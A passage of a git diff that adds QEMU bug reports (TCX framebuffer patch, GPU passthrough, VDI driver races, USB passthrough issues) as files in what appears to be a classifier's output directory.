TCX are accessed through the Micro/TurboSPARC's +> AFX bus which is 64bit wide and intended for graphics. +> Early FFB docs even mentioned connecting to both AFX and UPA, +> no idea if that was ever realized in hardware though. + +[1] http://web.archive.org/web/20111209011516/http://wikis.sun.com/display/FOSSdocs/Home +[2] http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/dev/sbus/tcx.c.diff?r1=1.31&r2=1.32 +[3] https://<email address hidden>/msg734928.html + +Cc: <email address hidden> +Reported-by: Andreas Gustafsson <email address hidden> +Buglink: https://bugs.launchpad.net/bugs/1892540 +Fixes: 55d7bfe2293 ("tcx: Implement hardware acceleration") +Tested-by: Michael S. Tsirkin <email address hidden> +Reviewed-by: Richard Henderson <email address hidden> +Tested-by: Andreas Gustafsson <email address hidden> +Signed-off-by: Philippe Mathieu-Daudé <email address hidden> +Message-Id: <email address hidden> +Signed-off-by: Mark Cave-Ayland <email address hidden> +--- + hw/display/tcx.c | 18 +++++++++++++++--- + 1 file changed, 15 insertions(+), 3 deletions(-) + +diff --git a/hw/display/tcx.c b/hw/display/tcx.c +index c9d5e45cd1..878ecc8c50 100644 +--- a/hw/display/tcx.c ++++ b/hw/display/tcx.c +@@ -549,20 +549,28 @@ static const MemoryRegionOps tcx_stip_ops = { + .read = tcx_stip_readl, + .write = tcx_stip_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static const MemoryRegionOps tcx_rstip_ops = { + .read = tcx_stip_readl, + .write = tcx_rstip_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static uint64_t tcx_blit_readl(void *opaque, hwaddr addr, +@@ -651,10 +659,14 @@ static const MemoryRegionOps tcx_rblit_ops = { + .read = tcx_blit_readl, + .write = tcx_rblit_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static void tcx_invalidate_cursor_position(TCXState *s) +-- +2.20.1 + + + +Commit ae5643ecc6 "hw/display/tcx: Allow 64-bit accesses to framebuffer stippler +and blitter" enabled 64-bit access for the TCX framebuffer stippler and blitter +but missed applying the change to one of the blitter MemoryRegions. + +Whilst the original change works for me on my local NetBSD test image, the latest +NetBSD ISO panics on startup without this fix. + +Signed-off-by: Mark Cave-Ayland <email address hidden> +Fixes: ae5643ecc6 ("hw/display/tcx: Allow 64-bit accesses to framebuffer stippler and blitter") +Buglink: https://bugs.launchpad.net/bugs/1892540 +--- + hw/display/tcx.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/hw/display/tcx.c b/hw/display/tcx.c +index 878ecc8c50..3799d29b75 100644 +--- a/hw/display/tcx.c ++++ b/hw/display/tcx.c +@@ -649,10 +649,14 @@ static const MemoryRegionOps tcx_blit_ops = { + .read = tcx_blit_readl, + .write = tcx_blit_writel, + .endianness = DEVICE_NATIVE_ENDIAN, +- .valid = { ++ .impl = { + .min_access_size = 4, + .max_access_size = 4, + }, ++ .valid = { ++ .min_access_size = 4, ++ .max_access_size = 8, ++ }, + }; + + static const MemoryRegionOps tcx_rblit_ops = { +-- +2.20.1 + + + +On 11/20/20 9:17 AM, Mark Cave-Ayland wrote: +> Commit ae5643ecc6 "hw/display/tcx: Allow 64-bit accesses to framebuffer stippler +> and blitter" enabled 64-bit access for the TCX framebuffer stippler and blitter +> but missed applying the change to one of the blitter MemoryRegions. +> +> Whilst the original change works for me on my local NetBSD test image, the latest +> NetBSD ISO panics on startup without this fix. +> +> Signed-off-by: Mark Cave-Ayland <email address hidden> +> Fixes: ae5643ecc6 ("hw/display/tcx: Allow 64-bit accesses to framebuffer stippler and blitter") +> Buglink: https://bugs.launchpad.net/bugs/1892540 +> --- +> hw/display/tcx.c | 6 +++++- +> 1 file changed, 5 insertions(+), 1 deletion(-) + +Reviewed-by: Philippe Mathieu-Daudé <email address hidden> + + +Is this bug now fixed, or are there still more patches not yet in master? + + +On 21/11/2020 23:46, Peter Maydell wrote: + +> Is this bug now fixed, or are there still more patches not yet in +> master? + +The additional for-5.2 patch above is still needed: I've just submitted it to +Travis-CI, and assuming it passes I'll send a PR later. + + +ATB, + +Mark. + + +On 20/11/2020 08:17, Mark Cave-Ayland wrote: + +> Commit ae5643ecc6 "hw/display/tcx: Allow 64-bit accesses to framebuffer stippler +> and blitter" enabled 64-bit access for the TCX framebuffer stippler and blitter +> but missed applying the change to one of the blitter MemoryRegions. +> +> Whilst the original change works for me on my local NetBSD test image, the latest +> NetBSD ISO panics on startup without this fix. +> +> Signed-off-by: Mark Cave-Ayland <email address hidden> +> Fixes: ae5643ecc6 ("hw/display/tcx: Allow 64-bit accesses to framebuffer stippler and blitter") +> Buglink: https://bugs.launchpad.net/bugs/1892540 +> --- +> hw/display/tcx.c | 6 +++++- +> 1 file changed, 5 insertions(+), 1 deletion(-) +> +> diff --git a/hw/display/tcx.c b/hw/display/tcx.c +> index 878ecc8c50..3799d29b75 100644 +> --- a/hw/display/tcx.c +> +++ b/hw/display/tcx.c +> @@ -649,10 +649,14 @@ static const MemoryRegionOps tcx_blit_ops = { +> .read = tcx_blit_readl, +> .write = tcx_blit_writel, +> .endianness = DEVICE_NATIVE_ENDIAN, +> - .valid = { +> + .impl = { +> .min_access_size = 4, +> .max_access_size = 4, +> }, +> + .valid = { +> + .min_access_size = 4, +> + .max_access_size = 8, +> + }, +> }; +> +> static const MemoryRegionOps tcx_rblit_ops = { + +Adding CC to qemu-stable so that this follow-up fix also gets applied to 5.1.1. + + +ATB, + +Mark. + + +This should now be fixed in master as of 48e5c7f34c "hw/display/tcx: add missing 64-bit access for framebuffer blitter". + + +ATB, + +Mark. + + +Seems to at least do the innital part of the boot ok. +I got to shell at least: not sure how far I'm supposed to get +or which options to choose. + + + +Released with QEMU v5.2.0. + diff --git a/results/classifier/deepseek-1/output/performance./1851972 b/results/classifier/deepseek-1/output/performance./1851972 new file mode 100644 index 00000000..a7ba8bee --- /dev/null +++ b/results/classifier/deepseek-1/output/performance./1851972 @@ -0,0 +1,123 @@ + +pc-q35-4.1 and AMD Navi 5700/XT incompatible + +Hello, + +I am not sure if this qualifies as a "bug"; it is be more of an unknown issue with default settings. However, since the default value of q35 default_kernel_irqchip_split was changed seemingly due to similar user feedback, I thought this was important to share.. + +AMD Navi 5700/XT vfio-pci passthrough seems incompatible with one/multiple settings in pc-q35-3.1 and higher. The workaround for me is that pc-q35-3.0 still works fine passing through the GPU and official drivers can load/install fine. + +The default/generic GPU drivers in a Fedora 30 or Windows 1903 guest do work; the monitor displays the desktop in a 800x600 resolution and things are rendered fine.. so the basic functionality of the card seems fine with pc-q35-4.1. + +But attempting to use the official open source AMD driver with the card resulted in a hung kernel for the Fedora 30 guest.. and a BSOD on the Windows 1903 guest immediately during driver install. + +I do not see any errors in Qemu command output.. did not investigate other logs or KVM etc, because I am not sure what to look for or how to go about it. Also not sure which combination of the latest q35 default settings are valid combinations to try either, because it seems that multiple things have changed related to pcie-root-port defaults and other machine options. I am happy to run tests and provide feedback if that helps identify the issue. + +I am using "Linux arch 5.4.0-rc6-mainline" kernel on ArchLinux host with AMD Navi reset pci quirk patch applied. + +My working Qemu command line is this: + +QEMU_AUDIO_DRV=pa \ +QEMU_PA_SERVER=/run/user/1000/pulse/native \ +/usr/bin/qemu-system-x86_64 \ +-name windows \ +-m 16g \ +-accel kvm \ +-machine pc-q35-3.0,accel=kvm,pflash0=ovmf0,pflash1=ovmf1 \ +-blockdev node-name=ovmf0,driver=file,filename=/virt/qemu/roms/OVMF_CODE.fd,read-only=on \ +-blockdev node-name=ovmf1,driver=file,filename=/virt/qemu/machines/windows/OVMF_VARS.fd \ +-boot menu=on \ +-global kvm-pit.lost_tick_policy=discard \ +-no-hpet \ +-rtc base=utc,clock=host,driftfix=slew \ +-cpu host,kvm=off,hv_vendor_id=RedHatRedHat,hv_spinlocks=0x1fff,hv_vapic,hv_time,hv_reset,hv_vpindex,hv_runtime,hv_relaxed,hv_synic,hv_stimer \ +-smp sockets=1,cores=4,threads=1 \ +-nodefaults \ +-netdev bridge,br=br0,id=net0 \ +-device virtio-net-pci,netdev=net0,addr=19.0,mac=52:54:00:12:34:77 \ +-device virtio-scsi-pci \ +-blockdev raw,node-name=disk0,cache.direct=off,discard=unmap,file.driver=file,file.aio=threads,file.filename=/virt/qemu/machines/windows/os.raw \ +-device scsi-hd,drive=disk0,rotation_rate=1 \ +-blockdev raw,node-name=disk1,cache.direct=off,discard=unmap,file.driver=file,file.aio=threads,file.filename=/virt/qemu/machines/windows/data.raw \ +-device scsi-hd,drive=disk1,rotation_rate=1 \ +-drive index=0,if=ide,media=cdrom,readonly,file=/virt/qemu/isos/Win10_1903_V2_English_x64.iso \ +-drive index=1,if=ide,media=cdrom,readonly,file=/virt/qemu/isos/virtio-win-0.1.173.iso \ +-device ich9-intel-hda,addr=1b.0 \ +-device hda-output \ +-monitor stdio \ +-display none \ +-vga none \ +-device pcie-root-port,id=pcierp0,chassis=1,slot=1,addr=1c.0,disable-acs=on,multifunction=on \ +-device pcie-root-port,id=pcierp1,chassis=2,slot=2,addr=1c.1,disable-acs=on \ +-device x3130-upstream,bus=pcierp0,id=pcieu0 \ +-device xio3130-downstream,bus=pcieu0,id=pcied0,chassis=11,slot=11 \ +-device vfio-pci,host=03:00.0,bus=pcied0,addr=00.0,multifunction=on \ +-device vfio-pci,host=03:00.1,bus=pcied0,addr=00.1 \ +-device qemu-xhci,addr=1d.0 \ +-device usb-host,vendorid=0x258a,productid=0x0001 \ +-device usb-host,vendorid=0x1bcf,productid=0x0005 ; + +Thank you! + +Paolo Bonzini commented on IRC: AMD avic requires kernel_irqchip=split. + +Can you try using it? (released QEMU uses -machine ...,kernel_irqchip=split, git QEMU expects -accel kernel_irqchip=split). + +Hi Philippe, thanks for replying. + +The 'kernel_irqchip' parameter is a bit confusing to me. It looks like the documentation was updated from it defaulted to 'off' as a -machine parameter, to now it will default to 'on' as an -accel parameter. + +This bug described how the value for 'default_kernel_irqchip_split' parameter had been changed to 'true' in Q35 version 4.0, but then set back to 'false' after discovering that it caused issues for Nvidia gpu passthrough and other things: https://bugs.launchpad.net/qemu/+bug/1826422 + +However, my problems with the AMD gpu passthrough are present when switching between Q35 3.0 (which does work) and 3.1 (which does not work), both of which would still have 'default_kernel_irqchip_split' set to false.. so it does not seem to me to be related to 'kernel_irqchip'. + +Q35 version 3.1 did introduce many other changes: + +static void pc_q35_3_1_machine_options(MachineClass *m) +{ +.. + pcmc->do_not_add_smb_acpi = true; + m->smbus_no_migration_support = true; + m->alias = NULL; + pcmc->pvh_enabled = false; +.. + +GlobalProperty hw_compat_3_1[] = { + { "pcie-root-port", "x-speed", "2_5" }, + { "pcie-root-port", "x-width", "1" }, +.. + +I thought maybe those could cause the AMD Navi gpu problems, but I am not that knowledgeable about these settings. + +Also I do not have the AMD Navi gpu conveniently available anymore to test. + +Commit 11bc4a13 (Nov 13, 2019, merged after v4.2.0-rc5) moved the kernel-irqchip parameter to -accel, but I think the default was inadvertently changed to off. The documentation was changed to say the default is on, but the code change seems to have done the opposite. + +I found this when I tested my Windows Server 2016 VMs with the last qemu from git. Windows boots and runs very slowly unless I add either <ioapic driver='kvm'/> (kernel_irqchip=on) or <timer name="hypervclock" present="yes"/> to the libvirt config. Using the qemu installed with Ubuntu 19.10 (version 4.0.0), I can reproduce the slowness by explicitly adding kernel_irqchip=off. + +Details: +- Host CPU: Ryzen 3950X (16 core, 32 thread) +- Host RAM: 64 GiB +- Host OS: Ubuntu 19.10 64-bit, kernel version 5.5.0-rc4 (commit 738d2902773e + ACS override patch) +- Guest CPU: host-passthrough, 16 vcpus (8 cores, 2 threads, topoext). +- Guest RAM: 12 GiB +- Guest machine type: pc-i440fx-4.0 (BIOS boot) +- Guest OS: Windows Server 2016, build 1607 + +Commit d1972be13f ("accel/kvm: Make "kernel_irqchip" default on") fixes the default mixup I described above. This isn't related to Marshall's issue as it involves qemu 3.0 vs 3.1, but at least it cleans up some confusion. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/performance/1811782 b/results/classifier/deepseek-1/output/performance/1811782 new file mode 100644 index 00000000..a83cb2bb --- /dev/null +++ b/results/classifier/deepseek-1/output/performance/1811782 @@ -0,0 +1,16 @@ + +QEMU Windows fails to mount rootfs on an ISO where QEMU Linux works normally + +I have installed QEMU 3.1.0 for Microsoft Windows from https://qemu.weilnetz.de/w64/ . When I give the command "qemu-system-x86_64.exe -cdrom ..\QemuSaver\freeduc2.iso", qemu boots the ISO, but the resulting Linux kernel panics when trying to mount the root file system. Running the equivalent command under Linux (OpenSuSE Leap 15.0) results in success. +I will attach a screenshot of the command and the kernel panic message. +To reproduce the problem, download the zip file from Google Drive here https://drive.google.com/file/d/1bAozvGeRF7PbkOnJKzrFHxhUh2kDLz6L/view?usp=sharing, and unpack it under Microsoft Windows. You can either run the installer (which will install QEMU 3.0.0 and an ISO image in C:\QemuSaver) or you can run the command I gave from the directory where your QEMU is installed. + + + +This fails on Windows 7 and on Windows 10. +I have had success with different ISO files. + +This turned out to be not enough memory allocated to the virtual machine. When I added "-m 1024" to the parameters, all was well. + +Ok, thanks for the update. So I'm closing this now. + diff --git a/results/classifier/deepseek-1/output/performance/1873032 b/results/classifier/deepseek-1/output/performance/1873032 new file mode 100644 index 00000000..b040d9ad --- /dev/null +++ b/results/classifier/deepseek-1/output/performance/1873032 @@ -0,0 +1,33 @@ + +After upgrade qemu to 5.0.0-0.3.rc2.fc33 the virtual machine with Windows 10 after a while starts to work very slowly + +Description of problem: + +After upgrade qemu to 5.0.0-0.3.rc2.fc33 the virtual machine with Windows 10 after a while starts to work very slowly + +I created the virtual machine with Windows 10 with the following config: +- 1 CPU +- 2GB RAM +- With network access + +I launch there a web browser there with flash content. +And usually, the system (Windows 10) does not work there for more than an hour. +When the system starts to work very slowly it doesn't respond to "Reboot" and "Shut Down" commands. Only works "Force Reset" and "Force Off". But when I reboot the system with "Force Reset" it usually stuck at boot at the Windows splash screen. https://imgur.com/yGyacDG + +The last version of qemu which not contain this issue is 5.0.0-0.2.rc0.fc33 + + + +When VM starts work very slowly System interrupts in Windows Task Manager eats up 99% of all CPU resources. + + +Please try this patch series: https://lists.gnu.org/archive/html/qemu-devel/2020-05/msg02728.html + +Unofficial x86_64 build of v5.0.0 with those 2 patches for Arch is here: [1]. + +[1] https://download.opensuse.org/repositories/home:/post-factum/Arch/x86_64/ + +I confirm that with patches https://lists.gnu.org/archive/html/qemu-devel/2020-05/msg02728.html Win 10 in QEMU working already more than 24 hours without issue. + +The patches mentioned in the previous comments have been released with QEMU v5.1, so I'm marking this bug as fixed now. If you still have problems, please open a new ticket. + diff --git a/results/classifier/deepseek-1/output/performance/1896754 b/results/classifier/deepseek-1/output/performance/1896754 new file mode 100644 index 00000000..a4445e75 --- /dev/null +++ b/results/classifier/deepseek-1/output/performance/1896754 @@ -0,0 +1,41 @@ + +Performance degradation for WinXP boot time after b55f54bc + +Qemu 5.1 loads Windows XP in TCG mode 5-6 times slower (~2 minutes) than 4.2 (25 seconds), I git bisected it, and it appears that commit b55f54bc965607c45b5010a107a792ba333ba654 causes this issue. Probably similar to an older fixed bug https://bugs.launchpad.net/qemu/+bug/1672383 + +Command line is trivial: qemu-system-x86_64 -nodefaults -vga std -m 4096M -hda WinXP.qcow2 -monitor stdio -snapshot + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +Ticket has been moved here (thanks, Maksim!): +https://gitlab.com/qemu-project/qemu/-/issues/286 +Thus closing this one at Launchpad now. + diff --git a/results/classifier/deepseek-1/output/peripherals**./721825 b/results/classifier/deepseek-1/output/peripherals**./721825 new file mode 100644 index 00000000..af3a82e4 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals**./721825 @@ -0,0 +1,97 @@ + +VDI block driver bugs + +Chunqiang Tang reports the following issues with the VDI block driver, these are present in QEMU 0.14: + +"Bug 1. The most serious bug is caused by race condition in updating a new +bmap entry in memory and on disk. Considering the following operation +sequence. + O1: VM issues a write to sector X + O2: VDI allocates a new bmap entry and updates in-memory s->bmap + O3: VDI writes data to disk + O4: The disk I/O for writing sector X fails + O5: VDI reports error to VM and returns. + +Note that the bmap entry is updated in memory, but not persisted on disk. +Now consider another write that immediately follows: + P1: VM issues a write to sector X+1, which locates in the same block as +the previously used sector X. + P2: s->bmap already has one entry for the block, and hence VDI writes +data directly without persisting the new s->bmap entry on disk. + P3: The write disk I/O succeeds + P4: VDI report success to VM, but the bitmap entry is still not +persisted on disk. + +Now suppose the VM powers off gracefully (i.e., the QEMU process quits) +and reboots. The second write to sector X+1, which is reported as finished +successfully, is simply lost, because the corresponding in-memory s->bmap +entry is never persisted on disk. This is exactly what FVD's testing tool +discovers. After the block device is closed and then re-opened, disk +content verification fails. + +This is just one example of the problem. Race condition plus host crash +also causes problems. Consider another example below. + Q1: VM issues a write to sector X + Q2: VDI allocates a new bmap entry and updates in-memory s->bmap + Q3: VDI writes sector X to disk and waits for the callback + Q4: VM issues a write to another sector X+1, which is in the same block +as sector X. + Q5: VDI sees the bitmap entry in s->bmap is already allocated, and +writes sector X+1 to disk. + Q6: Write to sector X+1 finishes, and VDI's callback is invoked. + Q7: VDI acknowledges to the VM the completion of writing sector X+1 + Q8: After observing the completion of writing sector X+1, VM issues a +flush to ensure that sector X+1 is persisted on disk. + Q9: VDI finishes the flush and acknowledge the completion of the +operation. + Q10: ... (some other arbitrary operations, but the disk I/O for writing +sector X is still not finished....) + Q11: The host crashes + +Now the new bitmap entry is not persisted on disk, while both writing to +sector X+1 and the flush has been acknowledged as finished. Sector X+1 is +lost, which is a corruption. This problem exists even if it uses O_DSYNC. +The root cause of the problem is that, if a request updates in-memory +s->bmap, another request that sees this update assumes that the update is +already persisted on disk, which is not. + +Bug 2: Similar to the bugs the FVD testing tool found for QCOW2, there are +several cases of the code below on failure handling path without setting +error return code, which mistakenly reports failure as success. This +mistake is caught by FVD when doing image content validation. + if (acb->hd_aiocb == NULL) { + /* missing ret = -EIO; */ + goto done; + } + +Bug 3: Similar to the bugs the FVD testing tool found for QCOW2, +vdi_aio_cancel does not perform a complete clean up and there are several +related bugs. First, memory buffer is not freed, acb->orig_buf and +acb->block_buffer. Second, acb->bh is not cancelled. Third, +vdi_aio_setup() does not initialize acb->bh to NULL so that when a request +acb is cancelled and then later reused for another request, its acb->bh != +NULL and the new request fails in vdi_schedule_bh(). This is caught by +FVD's testing tool, when it observes that no I/O failure is injected but +VDI reports a failed I/O request, which indicates a bug in the driver." + +http://permalink.gmane.org/gmane.comp.emulators.qemu/94340 + +Is this still an issue with the latest version of QEMU, or could we close this bug nowadays? + +On Fri, May 19, 2017 at 8:36 PM, Thomas Huth <email address hidden> wrote: +> Is this still an issue with the latest version of QEMU, or could we +> close this bug nowadays? + +A quick check of block/vdi.c shows that error handling is still +lacking. Updates to in-memory data structures are not reverted if the +write to disk fails. + +Let's leave this in case someone is interested in fixing the bugs +sometime. VDI is not used heavily and typically in read-only mode so +these bugs are not urgent. + + +Hi Stefan (Weil) - this bug is now assigned to you since more than 10 years ... do you still plan to tackle it at some point in time? If not, I'd suggest to unassign it. Also, it's been four years again since the last comment ... should we maybe close this as "Wont Fix" ? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/peripherals/1077708 b/results/classifier/deepseek-1/output/peripherals/1077708 new file mode 100644 index 00000000..2908cbea --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1077708 @@ -0,0 +1,49 @@ + +Video capture from webcam with USB passthrough freezes + +QEMU version: 1.2.0 +Graphics: Spice +Guest: Windows 7 32-bit +Host: Ubuntu 12.10 amd64 (using distro package qemu-kvm-spice) + +I am using USB 2.0 passthrough of a Logitech C920 webcam. The guest is running the proprietary Logitech drivers. When video chatting with either Google+ Hangouts or Skype 3.8.0.115, video capture from the webcam is initially fine but eventually freezes. It remains frozen for up to several minutes and then resumes on its own. The process then repeats. Audio recorded from the webcam's mic works continuously. + +The problem also affects video recording in Logitech's bundled software. Strangely though, the live preview is _not_ affected. The freezing is only present in the recorded video file. + +I can tell that the problem is not introduced by Spice during playback, because the user on the other end of Hangouts/Skype sees the same problem, and the freezes in a recorded video file are seen at the same point every time the file is played. + +Command line: + +/usr/bin/kvm-spice -name Windows7 -S -M pc-1.0 -enable-kvm -m 2048 -smp 3,sockets=3,cores=1,threads=1 -uuid cfcc7e85-7873-1c32-0a00-d1c35f3eb073 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/Windows7.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=localtime -no-shutdown -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x6.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x6 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x6.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x6.0x2 -drive file=/data/libvirt/images/Windows7.img,if=none,id=drive-ide0-0-0,format=raw -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -drive if=none,id=drive-ide0-1-0,readonly=on,format=raw -device ide-cd,bus=ide.1,unit=0,drive=drive-ide0-1-0,id=ide0-1-0 -netdev tap,fd=21,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:7e:0b:d9,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -device usb-tablet,id=input0 -spice port=5900,addr=127.0.0.1,disable-ticketing -vga std -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device usb-host,hostbus=2,hostaddr=8,id=hostdev0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x5 + +The problem also occurs with the generic Microsoft webcam drivers. + +Note that, during webcam use, these messages are output from QEMU sporadically: + +USBDEVFS_DISCARDURB: Invalid argument +USBDEVFS_DISCARDURB: Invalid argument +husb: leaking iso urbs because of discard failure +USBDEVFS_DISCARDURB: Invalid argument +USBDEVFS_DISCARDURB: Invalid argument +husb: leaking iso urbs because of discard failure +USBDEVFS_DISCARDURB: Invalid argument +USBDEVFS_DISCARDURB: Invalid argument +husb: leaking iso urbs because of discard failure +USBDEVFS_DISCARDURB: Invalid argument +USBDEVFS_DISCARDURB: Invalid argument +USBDEVFS_DISCARDURB: Invalid argument +husb: leaking iso urbs because of discard failure + +However, the timing of the messages is completely uncorrelated with the video freezes, so I am uncertain as to whether they are related or not. + +Does not seem to repro when using the webcam natively in the host with Google+ Hangouts. + +Does not seem to repro when using the webcam natively on a Windows Vista 32-bit machine with Google+ Hangouts. + +I'd be happy to do some debugging. Are there extra log messages that I should enable? + +Triaging old bug tickets ... can you still reproduce this issue with the +latest version of QEMU (version 2.9)? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/peripherals/1162644 b/results/classifier/deepseek-1/output/peripherals/1162644 new file mode 100644 index 00000000..5e620512 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1162644 @@ -0,0 +1,132 @@ + +qemu-system-x86_64 crashed with SIGABRT in __assert_fail_base() + +Description: +When QEMU tries to boot with a usb 3.0 tablet (xhci) on a Raring ringtail box (QEMU package1.4.0+dfsg-1expubuntu4) it will crash soon afterwards: + +qemu-system-x86_64: /build/buildd/qemu-1.4.0+dfsg/hw/usb/core.c:552: usb_packet_setup: Assertion `p->iov.iov != ((void *)0)' failed. + +Component: +qemu-system -> 1.4.0+dfsg-1expubuntu4 + +Ubuntu Version: + +Description: Ubuntu Raring Ringtail (development branch) +Release: 13.04 + +Steps to reproduce it: + +I met this bug while running the virt-test suite + +https://github.com/autotest/virt-test + +Instructions to install and run it can be seen on the README file + +https://github.com/autotest/virt-test#readme + +After the suite is set, it can be reproduced on a raring (13.04) simply by running: + +./run -t qemu --tests usb.usb_reboot.usb_tablet.xhci + +Command line: + +23:52:42 INFO | Running qemu command (reformatted): +/usr/bin/kvm \ + -S \ + -name 'virt-tests-vm1' \ + -nodefaults \ + -chardev socket,id=hmp_id_hmp1,path=/tmp/monitor-hmp1-20130331-233911-ndvUEvrV,server,nowait \ + -mon chardev=hmp_id_hmp1,mode=readline \ + -chardev socket,id=serial_id_serial1,path=/tmp/serial-serial1-20130331-233911-ndvUEvrV,server,nowait \ + -device isa-serial,chardev=serial_id_serial1 \ + -chardev socket,id=seabioslog_id_20130331-233911-ndvUEvrV,path=/tmp/seabios-20130331-233911-ndvUEvrV,server,nowait \ + -device isa-debugcon,chardev=seabioslog_id_20130331-233911-ndvUEvrV,iobase=0x402 \ + -device ich9-usb-uhci1,id=usb1 \ + -device nec-usb-xhci,id=usbtest \ + -drive file='/home/lmr/Code/virt-test.git/shared/data/images/jeos-17-64.qcow2',if=none,id=virtio0 \ + -device virtio-blk-pci,drive=virtio0,bootindex=1 \ + -device virtio-net-pci,netdev=idumV1TE,mac='9a:c0:c1:c2:c3:c4',id='idmN7iHv' \ + -netdev user,id=idumV1TE,hostfwd=tcp::5000-:22 \ + -m 1024 \ + -smp 2,maxcpus=2,cores=1,threads=1,sockets=2 \ + -cpu 'SandyBridge' \ + -M pc \ + -device usb-tablet,id=usb-tablet1,bus=usb1.0,port=1 \ + -device usb-tablet,id=usb-testdev,bus=usbtest.0,port=1 \ + -vnc :0 \ + -vga std \ + -rtc base=utc,clock=host,driftfix=none \ + -boot order=cdn,once=c,menu=off \ + -enable-kvm + +ProblemType: Crash +DistroRelease: Ubuntu 13.04 +Package: qemu-system-x86 1.4.0+dfsg-1expubuntu4 +ProcVersionSignature: Ubuntu 3.8.0-15.25-generic 3.8.4 +Uname: Linux 3.8.0-15-generic x86_64 +ApportVersion: 2.9.2-0ubuntu5 +Architecture: amd64 +Date: Sun Mar 31 23:52:46 2013 +EcryptfsInUse: Yes +ExecutablePath: /usr/bin/qemu-system-x86_64 +InstallationDate: Installed on 2013-03-31 (0 days ago) +InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Release amd64 (20121017.5) +MarkForUpload: True +ProcEnviron: + TERM=dumb + PATH=(custom, no user) + XDG_RUNTIME_DIR=<set> + LANG=en_US.UTF-8 + SHELL=/bin/bash +Signal: 6 +SourcePackage: qemu +StacktraceTop: + raise () from /lib/x86_64-linux-gnu/libc.so.6 + abort () from /lib/x86_64-linux-gnu/libc.so.6 + ?? () from /lib/x86_64-linux-gnu/libc.so.6 + __assert_fail () from /lib/x86_64-linux-gnu/libc.so.6 + ?? () +Title: qemu-system-x86_64 crashed with SIGABRT in raise() +UpgradeStatus: Upgraded to raring on 2013-03-31 (0 days ago) +UserGroups: adm cdrom dip libvirtd lpadmin plugdev sambashare sudo + + + + + + + + + + + + + +Thanks for reporting this bug, I will try to reproduce it, and check whether upstream git head has the same bug. + +I can't reproduce this on a clean raring system, which has the same qemu version as your quantal system. + +Is it possible for you to test on a clean raring system? + +What is your libvirt package version? + +It doesn't get any cleaner than this. I've installed the box with 12.10, immediately followed by upgrade to 13.04. What seems to be going on is that the issue is not 100% reproducible (I tried today with the same setup and could not reproduce it). + +Moreover, what really matters here is the qemu/kernel version, and nothing else. + +Libvirt version is 1.0.2-0ubuntu10. I did compile the latest git master and so far I could not reproduce it either. + +I could just reproduce it on Fedora 19 qemu-kvm version (which is 1.4.0) and qemu.git master. So the issue is not 100% reproducible, but it can be seen on qemu.git master and therefore, downstream packages such as the ones found on Ubuntu and Fedora, for example. + +Ok, thanks - i did run it 3 or 4 times. How often would you say it fails for you? + +I will mark this as affecting the upstream qemu project based on comment #10. + +On my F19 box, it's failing about 2/3 of the attempts. What is funny is that on the Ubuntu 13.04 box, I can't get the problem reproduced anymore, for some reason beyond me. + +Status changed to 'Confirmed' because the bug affects multiple users. + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +Sure, please close it. + diff --git a/results/classifier/deepseek-1/output/peripherals/1187319 b/results/classifier/deepseek-1/output/peripherals/1187319 new file mode 100644 index 